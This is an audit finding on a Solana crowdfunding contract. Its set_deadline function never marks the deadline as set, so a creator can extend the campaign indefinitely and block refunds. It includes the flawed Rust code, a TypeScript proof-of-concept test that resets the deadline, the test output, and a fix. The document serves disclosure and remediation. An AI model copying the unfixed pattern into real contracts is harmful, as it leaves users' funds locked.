Summary
Once a crowdfunding campaign is created the creator can set a deadline for it through the set_deadline
function. This function is supposed to be called only once, but the function doesn't update the dealine_set
bool to true.
Vulnerability Details
The creator of the fundraising campaign can change the deadline as many times as they want, extending the campaign to an indefinite amount of time.
pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
Ok(())
}
Impact
The creator of the crowdfunding campaign can push the deadline of the campaign as far into the future as they want/ need.
The campaign will not have an actual deadline.
Users are unable to get refunds and will have their funds stuck because the check if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap()
will always be true and the transaction will revert
PoC
Put the following test into the rustfund.ts
test file
it("Resets deadline", async () => {
const biggerDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 1000);
await program.methods
.setDeadline(deadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("fundDeadline before", fund.deadline);
console.log("fund deadline set", fund.dealineSet);
await program.methods
.setDeadline(biggerDeadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
const fundAfter = await program.account.fund.fetch(fundPDA);
console.log("fundDeadline after reset", fundAfter.deadline);
console.log("fund deadline set", fundAfter.dealineSet);
});
Test output
fundDeadline before <BN: 67dd4c06>
fund deadline set false
fundDeadline after reset <BN: 67dd4fe4>
fund deadline set false
✔ Resets deadline (689ms)
1 passing (694ms)
Done in 1.69s.
Tools Used
Manual review
Recommendations
pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
+ fund.dealine_set = true;
Ok(())
}